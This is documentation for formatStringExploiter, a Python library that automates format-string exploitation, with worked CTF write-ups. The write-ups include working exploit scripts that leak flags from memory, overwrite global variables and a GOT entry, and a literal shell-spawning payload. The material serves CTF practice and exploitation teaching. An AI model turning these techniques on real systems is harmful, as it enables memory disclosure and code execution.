formatStringExploiter Documentation

Release 0.1

Michael Bann

May 02, 2020

Contents

`formatStringExploiter` is a python module for simplifying the often time complex and confusing exploitation of format strings.

CHAPTER 1

Getting Started

1.1 About `formatStringExploiter`

1.1.1 Introduction to `formatStringExploiter`

`formatStringExploiter` is a library written in python to help simplify the exploitation of format string vulnerabilities. It does this by abstracting away the notion of how to exploit these vulnerabilities for reading and writing into simple class properties.

As a user of `formatStringExploiter`, your job is simply to create a python function that will interact with the program and return the results of any string that is given to it. You do not have to understand what offsets or padding is required, you can simply utilize it as if it were a primitive operation.

1.1.2 Supported Architectures

Unlike the first version, this version supports and has been tested against i386 and amd64. In the future it's possible that it can work against other architectures such as ARM and MIPS, but they are untested as of now.

1.2 Installing `formatStringExploiter`

1.2.1 pypi

The basic way to install `formatStringExploiter` is to use pypi and pip install. The following steps should do it.

Create a virtual environment:

```
$ mkdir -p ${HOME}/.virtualenvs/formatStringExploiter
$ virtualenv -p $(which python2) ${HOME}/.virtualenvs/formatStringExploiter
```

Activate it:

```
$ source "${HOME}/.virtualenvs/formatStringExploiter/bin/activate"
```

Install `formatStringExploiter`:

```
(formatStringExploiter)$ pip install formatStringExploiter
```

Optionally install `ipython` (recommended):

```
(formatStringExploiter)$ pip install ipython
```

1.3 Quickstart

1.3.1 Concept

The concept behind `formatStringExploiter` is to give you a class object that abstracts a format string exploit. In general, what you will need to do as a user is to simply provide the base class of `FormatString` with a function that takes in a single argument of a string and returns the results of the format string on that string. As a user, you don't have to worry about the details of how the format string vulnerability works, you simply provide a function to allow the FormatString class to interact with it.

Once the `FormatString` class is instantiated, it will attempt to automatically discover the offset and padding required for this particular vulnerability. Once done, it returns you a class object that you can use to interact with this vulnerability.

Note that, for now, these calls are *immediate*. This means that once you make the call, that information is immediately being sent to the vulnerable application.

1.3.2 Instantiating a Class

Instantiating a class is simple. You need three things. First, create a function that will allow the `FormatString` class to interact with this vulnerability, such as the following:

```
def exec_fmt(s):
  p.sendline(s)
  out = p.recvuntil("myVar value is:",drop=True)
  p.recvuntil("Input: ")
  return out
```

Notice that we didn't define anything about this vulnerability. All this function does is take in arbitrary input, executes said input, then returns the output of the format string.

Next, determine the details of the binary. You can do this manually, however the easier way to do it if you have the binary is to use pwntools to parse out the relevant information:

```
from pwn import *
elf = ELF("./a.out")
```

Now we have a pwntools object that contains the relevant information that `FormatString` needs. Finally, let's instantiate a `FormatString` class object.

```
from formatStringExploiter.FormatString import FormatString
fmtStr = FormatString(exec_fmt,elf=elf)
```

1.3.3 Reading

The `FormatString` class provides a means for leaking (or attempting to leak) a given address. Note that this may or may not be possible given various nuances of the format string. When deciding to leak data, you need to understand what type of data you wish to leak. By default, `FormatString` will leak raw bytes as a string. However, the leaker is built on top of pwntools Memleak helper, and you will likely wish to use those function as they provide caching and other smart features to the leak. The following are the functions that are recommended:

```
fmtStr.leak.b(addr) # Leak one byte from address addr
fmtStr.leak.w(addr) # Leak one word from address addr
fmtStr.leak.d(addr) # Leak one dword from address addr
fmtStr.leak.q(addr) # Leak one qword from address addr
fmtStr.leak.s(addr) # Leak one string from address addr
fmtStr.leak.p(addr) # Leak one pointer from address addr
```

1.3.4 Writing

The `FormatString` class also provides you the ability to attempt to abitrarily write a value to a given address. Similar to reading, when writing you need to inform the `FormatString` class what the length of the write you wish to do is. Effectively, the syntax is the same as for reading, aside for replacing the "." with a "_".

```
fmtStr.write_b(addr,value) # Write value byte to addr
fmtStr.write_w(addr,value) # Write value word to addr
fmtStr.write_d(addr,value) # Write value dword to addr
fmtStr.write_q(addr,value) # Write value qword to addr
fmtStr.write_s(addr,value) # Write value string to addr
```

Remember, if you want to query the same location you just modified, you will want to dump the Memleak cache after writing. This is because the Memleak utilizes a caching sceme that assumes once it reads a place in memory that place won't change. Thus, since you have changed it, you need to tell the leaker to forget the old value so that you can get the new one.

This is done by using `fmtStr.leak.clear[bwdq]` method calls.

1.4 formatStringExploiter package

1.4.1 formatStringExploiter.FormatString module

class formatStringExploiter.FormatString.**FormatString**(*exec_fmt*, *arch='i386'*, *bits=32*, *endian='little'*, *elf=None*, *max_explore=64*, *bad_chars='n'*, *index=None*, *pad=None*, *written=None*, *explore_stack=True*)

Bases: `object`

Initialize a FormatString class

Parameters

- **exec_fmt** (*function*) – Function that takes in one input, a string, and returns the output of the format string vulnerability on it.
- **arch** (*str, optional*) – String representing what architecture this binary is.

- **bits** (*int, optional*) – How many bits is this binary? Commonly 32 (Default) or 64.
- **endian** (*str, optional*) – Is this binary little or big endian?
- **elf** (*pwnlib.elf.elf.ELF, optional*) – pwnlib elf instantiation of this binary. If specified, all fields will be taken from this class.
- **max_explore** (*int, optional*) – How deep down the stack should we explore? Larger numbers may take more time. Default is 64.
- **bad_chars** (*str, optional*) – What characters should we avoid when exploiting this? Defaults to newline character.
- **index** (*int, optional*) – If you already know the index for this vulnerability, you can specify it here
- **pad** (*int, optional*) – If you already know the padding needed, you can specify it here
- **written** (*int, optional*) – If you already know how many bytes have been written in the format string, you can specify it here
- **explore_stack** (*bool, optional*) – Should we auto-explore the stack? Defaults to True.

Returns **fmtStr**

Return type *FormatString.FormatString*

arch
String representation of the architecture, such as i386 and amd64

Type str

bits
Integer representation of how many bits are in this architecture

Type int

endian
String representation of what endianness this binary is: little or big

Type str

elf
pwnlib ELF instantiation representing this binary

Type pwnlib.elf.elf.ELF

exec_fmt
Function to be called when we need to evaluate a format string

Type function

max_explore
How deep down the stack should we explore?

Type int

bad_chars
What characters should we avoid when exploiting this?

Type str

_exploreStack()
Explore what pointers and data already exists on the stack.

_findIndex()
Figure out where our input starts as well as other information automatically.

The findIndex step automates the process of determining where our controlled input starts. It will iteratively shift inputs to the format string function until it finds the proper index and padding. It will then save that value in the class instance for future reference.

_hasBadChar(*s*)
Check input for bad characters.

Given the bad_chars we initialized the class with, check the input variable to see if any exist in there.

Parameters **s** (*int or str or bytes*) – Input to be checked for bad characters.

Returns True if input has bad characters, False otherwise

Return type bool

Note that if the input is an integer, it will be converted to hex then to a string to be checked for bad characters.

_intToStr(*i*)
Converts integer to it's corresponding ASCII string representation

_isPrintableString(*s*)
Check if the string we're given should be considered printable.

_leak(*addr*)
Given an addr, leak that memory as raw string.

Note: This is a base function. You probably don't want to call this directly. Instead, you should call methods of the `leak` method, such as `leak.d(addr)`

Parameters **addr** (*int*) – Address to leak some bytes from

Returns Raw leak of bytes as a string starting from the given address.

Return type str

_packPointer(*val*)
Packs val as pointer relevant to the current binary.

Parameters **val** (*int*) – Pointer value as integer that should be packed appropriately to this binary.

Returns Integer packed as string relevant to this binary (i.e.: proper endianness)

Return type str

exec_fmt(*fmt*)

printStack(*guessPointers=True*)
Print out what we know about the stack layout in a table format. Note: guessPointers may cause the binary to crash if it is guessed incorrectly.

write_b(*addr*, *val*)
Wraps the `write_byte` call

write_byte(*addr*, *val*)
write a single byte of data at addr

Parameters

- **addr** (*int*) – Address to write the byte to
- **val** (*int or str*) – Integer or string to write to address

This call will attempt to write the value provided into the address provided. If value is a string, it will convert it to an integer first.

write_d(*addr*, *val*)
Wraps the `write_dword` call

write_dword(*addr*, *val*)
write a double word of data at addr

Parameters

- **addr** (*int*) – Address to write the double word to
- **val** (*int or str*) – Integer or string to write to address

This call will attempt to write the value provided into the address provided. If value is a string, it will convert it to an integer first.

write_n_words(*addr*, *val*, *n*)
Write value at addr, telling FormatString how many words you actually want to write

Parameters

- **addr** (*int*) – Address to write words to
- **val** (*int*) – Value to write at address
- **n** (*int*) – Number of words that this value represents

This will attempt to write *n* words of *val* starting at address *addr*. Note that it will write in words and, for now, will not utilize byte writes. This is the core method that the other calls (aside from write_byte) use to actually write.

write_q(*addr*, *val*)
Wraps the `write_qword` call

write_qword(*addr*, *val*)
write a quad word of data at addr

Parameters

- **addr** (*int*) – Address to write the quad word to
- **val** (*int or str*) – Integer or string to write to address

This call will attempt to write the value provided into the address provided. If value is a string, it will convert it to an integer first.

write_s(*addr*, *s*)
WRaps the `write_string` call

write_string(*addr*, *s*)
Attempt to write s as a string at address addr

Parameters

- **addr** (*int*) – Address to start writing the string to
- **s** (*str, bytes*) – String to write to address

This call will attempt to write the string provided into the address provided. It does this by turning the string into a large number and writing the large number.

write_w(*addr*, *val*)
Wraps the `write_word` call

write_word(*addr*, *val*)
write a word of data at addr

Parameters

- **addr** (*int*) – Address to write the word to
- **val** (*int or str*) – Integer or string to write to address

This call will attempt to write the value provided into the address provided. If value is a string, it will convert it to an integer first.

1.5 Gotchas

1.5.1 Hanging on Write

There are a few reasons for hanging on write. Check the following:

- Check your format string harness waiting on input.
- Check your `badChars` input to the FormatString class. Depending on how your program recieves input, it may have different characters to avoid.
- If you are using `pwntools` to communicate with the application, be sure to add `buffer_fill_size=0xffff` to the setup line, such as `p = process("./a.out", buffer_fill_size=0xffff`.

On the last, there is currently a limitation in how `pwntools` handles recieving input where it will only recieve a maximum of 4096 characters. When writing large values, you will write up to 65535 characters, thus this argument is needed. At time of writing, this change is in a pull request and not yet in `pwntools` proper. If you are having issues, use my fork of `pwntools` as it has this change integrated. https://github.com/owlz/pwntools

1.5.2 Be Careful About Your `exec_fmt` Function!!

You need to be careful about where you are starting your input for your `exec_fmt` function. This is because there are many things that `FormatString` infers based off of what you return to it. If you do not return the format string from the actual start of the return, then your writes or reads may be off.

When in doubt, break at the vulnerable format function to ensure you're getting all the data. Sometimes there is data before the actual return data in the buffer (such as "hello, " or whatever). That output must be accounted for and so must be returned to `FormatString`.

1.6 Examples

1.6.1 IceCTF 2016: Dear Diary

Overview

Deardiary is a CTF challenge that drops you into an interactive menu with three options (add entry, print latest entry, quit). By placing a "%x" in the diary and printing it we see there's a format string vulnerability. Further, through a

cursory look at the binary we can tell that it first reads the flag into memory prior to dopping the user into a prompt. This means we are supposed to use the format string vulnerability to print out the flag.

Example:

```
$ ./deardiary
-- Diary 3000 --

1. add entry
2. print latest entry
3. quit
> 1
Tell me all your secrets: %x

1. add entry
2. print latest entry
3. quit
> 2
6e

1. add entry
2. print latest entry
3. quit
> 3
```

The Vulnerability

As stated earlier, this is a strait forward format string vulnerability. With the goal being to print out the flag from memory, we can find that the flag is actually being read into a global variable named *data*. Because this is a global variable and this binary is not position independent, this gives us a static address to read.

Step 1: exec_fmt

The first step in using the `FormatString` class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we're not worried about exploiting the vulnerability, we're simply interacting with the program.

```
def exec_fmt(s):
    p = process("./deardiary",buffer_fill_size=0xffff)
    p.recvuntil("quit")
    # Create a new entry with our format string
    p.sendline("1")
    p.sendline(s)
    p.recvuntil("quit")
    # Print the entry
    p.sendline("2")
    p.recvuntil(">")
    # Grab the relevant output to return
    out = p.recvuntil("1.",drop=True)
    p.recvuntil("quit")
    p.close()
    return out
```

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we'll also open an `ELF` class on the exe.

```
from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./deardiary")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
```

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you'll see something like this:

```
Found the offset to our input! Index = 18, Pad = 0
```

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.

Step 3: Read the flag

We now have a functional and initialize `FormatString` class. We also know where the flag resides (global variable *data*). Now we can simply read the flag from memory.

```
fmtStr.leak.s(elf.symbols['data'])
```

That's it. Your flag is printed. If this were the CTF, you could change `process` to `remote` and run it again to grab the flag.

Resources

- deardiary
- deardiary.py
- deardiary github

1.6.2 IceCTF 2015: Fermat

Overview

The fermat challenge takes in an arugment on the command line, then simply prints it back out to the console using printf (thus the format string vulnerability). After printing it out, it checks for the value of a global variable named `secret`. If this variable equals the value 1337, then it gives you a shell.

A difference with this challenge is that, since your input is coming from the command line argument, ASLR and space make it difficult to utilize that buffer to provide addresses for your format string vulnerability. It likely still would have been doable to use that buffer had it not been for the fact that this application runs once then exits, thus re-randomizing the space. My guess is that was an intentional design decision.

Example:

```
$ ./fermat %x
ff961fa4
```

Game Plan

For this challenge, we will set up `FormatString` as usual. However, we will then look at the stack. Finally, we will use `FormatString` to write the required value to the spot in memory.

Step 1: exec_fmt

The first step in using the `FormatString` class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we're not worried about exploiting the vulnerability, we're simply interacting with the program.

```
def exec_fmt(s):
    global p
    print("executing: " + repr(s))
    #  Open up pwntool process class to interact with application
    p = process(["./fermat",s],buffer_fill_size=0xffff)
    # Get the output
    out = p.recvall()
    return out
```

This one is actually a little bit messy since there's no good way to know ahead of time if the process will exit or not in an automated manner. That said, we can take the exploit code generated and run it manually at the end.

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we'll also open an `ELF` class on the exe.

```
from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./fermat")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
```

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Notice that in this case `FormatString` is unable to find the buffer. However, during all that scrolling, `FormatString` will have figured out enough about the stack to provide us assistance in exploitation.

Step 3: Examine the Stack

This step isn't strictly necessary. At this point, `FormatString` understands the layout of the stack. However, the human running it may not. If you wanted to, you could jump to step 4 and everything would still work. However, the stack view is helpful in many cases when you want a quick understanding of what the stack looks like.

Run the printStack method:

```
In [1]: fmtStr.printStack()
+-------+------------+--------------------------+
| Index |   Value    |          Guess           |
+-------+------------+--------------------------+
|   1   | 0xffb2b574 |                          |
|   2   | 0xfffb0530 |                          |
|   3   | 0xf75d2c0b |                          |
|   4   | 0xf77933dc |                          |
|   5   | 0x804821c  |                          |
|   6   | 0x804852b  |                          |
|   7   | 0x804a02c  |      Symbol: secret      |
|   8   | 0xf7782000 |                          |
|   9   | 0xf76c9000 |                          |
|   10  |    0x0     |                          |
|   11  | 0xf753c637 |                          |
|   12  |    0x2     |                          |
|   13  | 0xffc64a04 |                          |
|   14  | 0xffb97e20 |                          |
|   15  |    0x0     |                          |
|   16  |    0x0     |                          |
|   17  |    0x0     |                          |
|   18  | 0xf76ce000 |                          |
|   19  | 0xf771cc04 |                          |
|   20  | 0xf77a7000 |                          |
|   21  |    0x0     |                          |
|   22  | 0xf775b000 |                          |
|   23  | 0xf7771000 |                          |
|   24  |    0x0     |                          |
|   25  | 0xa2e514a1 |                          |
|   26  | 0x8da6966  |                          |
|   27  |    0x0     |                          |
|   28  |    0x0     |                          |
|   29  |    0x0     |                          |
|   30  |    0x2     |                          |
|   31  | 0x80483b0  |      Symbol: _start      |
|   32  |    0x0     |                          |
|   33  | 0xf773ef10 |                          |
|   34  | 0xf7750780 |                          |
|   35  | 0xf77ee000 |                          |
|   36  |    0x2     |                          |
|   37  | 0x80483b0  |      Symbol: _start      |
|   38  |    0x0     |                          |
|   39  | 0x80483d1  |                          |
|   40  | 0x80484e5  |       Symbol: main       |
|   41  |    0x2     |                          |
|   42  | 0xff9b6164 |                          |
|   43  | 0x8048520  | Symbol: __libc_csu_init  |
|   44  | 0x8048590  | Symbol: __libc_csu_fini  |
|   45  | 0xf76fa780 |                          |
|   46  | 0xffdc069c |                          |
|   47  | 0xf7763918 |                          |
|   48  |    0x2     |                          |
|   49  | 0xffe17ca4 |                          |
|   50  | 0xff9bfcad |                          |
|   51  |    0x0     |                          |
|   52  | 0xff934cbb |                          |
|   53  | 0xffdd7cdc |                          |
```

(continues on next page)

(continued from previous page)

```
|   54  | 0xff86dd10 |                          |
|   55  | 0xffc48d3c |                          |
|   56  | 0xffac4d5c |                          |
|   57  | 0xff91cd7c |                          |
|   58  | 0xff9fbd91 |                          |
|   59  | 0xffbe1da3 |                          |
|   60  | 0xff884db4 |                          |
|   61  | 0xffafedc2 |                          |
|   62  | 0xffda015e |                          |
|   63  | 0xff87a169 |                          |
+-------+------------+--------------------------+
```

Notice that up towards the top, `FormatString` has identified the symbol `secret`. This is the symbol that we would like to overwrite with a value. Since the required pointer is already on the stack, `FormatString` can utilize that pointer for a write without needing it's own buffer offset.

Step 4: Write the Value

Let's go ahead and write the required value to this variable. From a user perspective, the hope is that this is transparent. In this case it indeed is. You can simply tell `FormatString` that you'd like to write to the address of symbol `secret` and give it the value, and in the background it determines that it can do this through reusing an existing pointer on the stack.

```
fmtStr.write_word(elf.symbols['secret'],0x539)
```

As mentioned above, the exec_fmt function isn't perfect in this case and will end up killing the new shell before we can access it. Many ways around this, one simple one is to simply re-use the same format string line that `FormatString` used, instead manually. I got this from the output of the above command:

```
%1337c%007$hnJJJ
```

For example the following would spawn the shell:

```
$ ./fermat '%1337c%007$hnJJJ'
```

Resources

- fermat
- fermat.py
- fermat github

1.6.3 TUM CTF Teaser 2015: greeter

Overview

Another example of a basic format string vulnerability. In this case, the flag was read into memory and your input was printf'd back at you. The goal being to use that printf to read the flag from memory.

Example:

```
$ ./greeter
Hi, what's your name?
%x
Pwn harder, 8d74e440!
```

The Vulnerability

As previously mentioned, we have a format string vulnerability, and we know that the flag was read into memory prior to our format string being executed. The easy method is to simply print it out as a string.

Step 1: exec_fmt

The first step in using the `FormatString` class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we're not worried about exploiting the vulnerability, we're simply interacting with the program.

```
def exec_fmt(s):
    p = process(fName,buffer_fill_size=0xffff)
    p.sendline(s)
    p.recvuntil("Pwn harder, ",drop=True)
    return p.recvall()
```

That'll do. That's the majority of your work right there.

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we'll also open an `ELF` class on the exe.

```
from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./greeter")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
```

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you'll see something like this:

```
Found the offset to our input! Index = 6, Pad = 0
```

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.

Step 3: Read Flag As String

Now that it's all set up, simply ask `FormatString` to give you this variable as a string.

```
fmtStr.leak.s(elf.symbols['flag'])
```

That's it. Your flag is printed. If this were the CTF, you could change `process` to `remote` and run it again to grab the flag.

Resources

- greeter
- greeter.py
- greeter github

1.6.4 CAMP CTF 2015: Hacker Level

Overview

hacker_level is a CTF challenge that took as input a string (presumably the person's name) and echo'd a welcome message back. It then performed a series of calculations on the name, which proved pointless as the final check would always fail given those constraints.

The challenge is clearly to utilize the blatant format string vulnerability to get to the part of the code that prints success.

Example:

```
$ ./hacker_level
What's your name? %x
Hello, 40
Sorry, you're not leet enough to get the flag :(
Your hacker level is: 0x3db5
```

Source Code

This is the source code for the challenge:

```
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

static uint32_t level = 0;
static void calc_level(const char *name);

int main() {
      char name[64] = "";

      setbuf(stdin, NULL);            // turn off buffered I/O
      setbuf(stdout, NULL);

      printf("What's your name? ");
      fgets(name, sizeof name, stdin);

      calc_level(name);

      usleep(150000);
      printf("Hello, ");
      printf(name);
```

(continues on next page)

(continued from previous page)

```
        usleep(700000);
        if (level == 0xCCC31337) {
                FILE *f = fopen("flag.txt", "r");
                if (f) {
                        char flag[80] = "";
                        fread(flag, 1, sizeof flag, f);
                        printf("The flag is: ");
                        printf(flag);
                        fclose(f);
                } else {
                        printf("I would give you the flag, but I can't find it.\n");
                }
        } else {
                printf("Sorry, you're not leet enough to get the flag :(\n");
                usleep(400000);
                printf("Your hacker level is: 0x%x\n", level);
        }

        return 0;
}

static void calc_level(const char *name) {
        for (const char *p = name; *p; p++) {
                level *= 257;
                level ^= *p;
        }
        level %= 0xcafe;
}
```

The Vulnerability

This program is clearly vulnerable to a format string attack. Further, to get to the winning path it checks a global variable against the value 0xCCC31337. Since the `calc_level` function mods the result to less than a word length, this path will never hit without exploitation.

Step 1: exec_fmt

The first step in using the `FormatString` class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we're not worried about exploiting the vulnerability, we're simply interacting with the program.

```
def exec_fmt(s,echo=False):
    #  Open up pwntool process class to interact with application
    p = process("./hacker_level",buffer_fill_size=0xffff)
    # Go ahead and send our input
    p.sendline(s)
    # Throw out data that we know to be before our results
    p.recvuntil("Hello, ",drop=True)
    # We could do better here, but why? Just grab all the rest of the data.
    out = p.recvall()
    # For diagnostic reasons, we can print out the output
    if echo:
        print(out)
    # Since we're running this every time, close out the proc.
```

(continues on next page)

(continued from previous page)

```
    p.close()
    return out
```

That'll do. That's the majority of your work right there.

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we'll also open an `ELF` class on the exe.

```
from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./hacker_level")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
```

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you'll see something like this:

```
Found the offset to our input! Index = 7, Pad = 0
```

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.

Step 3: Write the Value

We now have a functional and initialize `FormatString` class. We also know from the source code that we would like the variable named "level" to be equal to 0xCCC31337. Let's ask `FormatString` to do just that. In this case, we will set the echo option to True so that we can see the output since the application exits immediately.

```
fmtStr.write_d(elf.symbols['level'],0xCCC31337)
```

That's it. Your flag is printed. If this were the CTF, you could change `process` to `remote` and run it again to grab the flag.

Resources

- hacker_level.tar.gz
- hacker_level.py
- hacker_level github

1.6.5 ASIS Finals 2017: Mary Morton

Overview

The Mary Morton ASIS challenge was designed to be simple. In doing so, they provide the CTFer with two options. The first, a stack overflow. The second, a format string vulnerability. While my guess is the intended solution was to use the format string vulnerability to leak the stack canary so that you could use the buffer overflow,

`formatStringExploiter` makes using only the format string vulnerability for a win very easy. In this case, I only used the format string vulnerability and a couple lines of python to solve it.

Example:

```
$ ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%x
224dc6b0
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
->␣
↪AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

*** stack smashing detected ***: ./mary_morton terminated
Aborted (core dumped)
```

The Vulnerability

As stated before, the user is allowed to chose a vulnerability they wish to use and then use it in a strait forward manner. Using `checksec`, we notice that this binary is 64-bit and utilizes partial relro. This means that we have the ability to overwrite the `GOT` table. Further, since hardening techniques have not been enabled, we are able to use `%n`, which is key for enabling format string to overwrite the `GOT` entry.

The next question is generally, what do I overwrite and what do i overwrite that with? Well, a look at the strings of this binary provides a good target.:

```
[0x00400960]> iz
vaddr=0x00400ad4 paddr=0x00000ad4 ordinal=000 sz=25 len=24 section=.rodata type=ascii␣
↪string=Welcome to the battle !
vaddr=0x00400aed paddr=0x00000aed ordinal=001 sz=27 len=26 section=.rodata type=ascii␣
↪string=[Great Fairy] level pwned
vaddr=0x00400b08 paddr=0x00000b08 ordinal=002 sz=20 len=19 section=.rodata type=ascii␣
↪string=Select your weapon
vaddr=0x00400b1f paddr=0x00000b1f ordinal=003 sz=5 len=4 section=.rodata type=ascii␣
↪string=Bye
vaddr=0x00400b24 paddr=0x00000b24 ordinal=004 sz=7 len=6 section=.rodata type=ascii␣
↪string=Wrong!
vaddr=0x00400b2b paddr=0x00000b2b ordinal=005 sz=16 len=15 section=.rodata type=ascii␣
↪string=/bin/cat ./flag
vaddr=0x00400b3b paddr=0x00000b3b ordinal=006 sz=7 len=6 section=.rodata type=ascii␣
↪string=-> %s\n
vaddr=0x00400b42 paddr=0x00000b42 ordinal=007 sz=29 len=28 section=.rodata type=ascii␣
↪string=1. Stack Bufferoverflow Bug
vaddr=0x00400b5f paddr=0x00000b5f ordinal=008 sz=22 len=21 section=.rodata type=ascii␣
↪string=2. Format String Bug
vaddr=0x00400b75 paddr=0x00000b75 ordinal=009 sz=20 len=19 section=.rodata type=ascii␣
↪string=3. Exit the battle
```

So "/bin/cat ./flag" seems like something we want to do. Let's find the code.:

```
[0x004008da]> /r 0x00400b2b
[0x00400c98-0x0060109f] data 0x4008de mov edi, str._bin_cat_._flag in fcn.004008da
```

Going back a little, we find the hidden function.:

```
|           0x004008da      55              push rbp
|           0x004008db      4889e5          mov rbp, rsp
|           0x004008de      bf2b0b4000      mov edi, str._bin_cat_._flag ; 0x400b2b ;
↪"/bin/cat ./flag"
|           0x004008e3      e8b8fdffff      call sym.imp.system         ; int␣
↪system(const char *string)
|           0x004008e8      90              nop
|           0x004008e9      5d              pop rbp
└           0x004008ea      c3              ret
```

So we can probably agree that `0x004008da` is our target for this overwrite.

Step 1: exec_fmt

The first step in using the `FormatString` class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we're not worried about exploiting the vulnerability, we're simply interacting with the program.

```
def exec_fmt(s):
    p.sendline("2")
    sleep(0.1)
    p.sendline(s)
    ret = p.recvuntil("1. Stack Bufferoverflow Bug",drop=True)
    p.recvuntil("Exit the battle \n")
    return ret
```

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we'll also open an `ELF` class on the exe.

```
from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./mary_morton")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
```

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you'll see something like this:

```
Found the offset to our input! Index = 6, Pad = 0
```

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now. However, let's make this a little faster. The challenge binary has a 20 second timeout. We don't want to waste time finding the same index

and exploring the stack each time. Thus, since we already know the index, let's just tell `formatStringExploiter` what it is ahead of time. The above code simply becomes:

```
from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./mary_morton")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)
```

Now, our load time for this will be effectively none.

Step 3: Read the flag

We now have a functional and initialize `FormatString` class. We also know what function we want to call. Lets pick some function to overwrite. Since our target function doesn't take input, it could be almost anything. We'll just choose `printf` for the sake of simplicity. Our exploit then, looks like this:

```
# The function that prints the flag
winner = 0x4008DA

# Connect up
connect()

# Instantiate the format string with known values
fmtStr = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)

# Ask our format string to overwrite the printf GOT entry with our function
fmtStr.write_q(elf.symbols['got.printf'], winner)

# Hit enter and our flag should be printed out.
p.sendline("2")
p.interactive()

# ASIS{An_impROv3d_v3r_0f_f41rY_iN_fairy_lAnds!}
```

That's it. Your flag is printed. If this were the CTF, you could change `process` to `remote` and run it again to grab the flag.

Resources

- mary_morton
- mary_morton.py

1.6.6 PatriotCTF 2020: Third Time

This is an external writeup

Python Module Index

f

Index

Symbols

A

B

E

F

M

P

W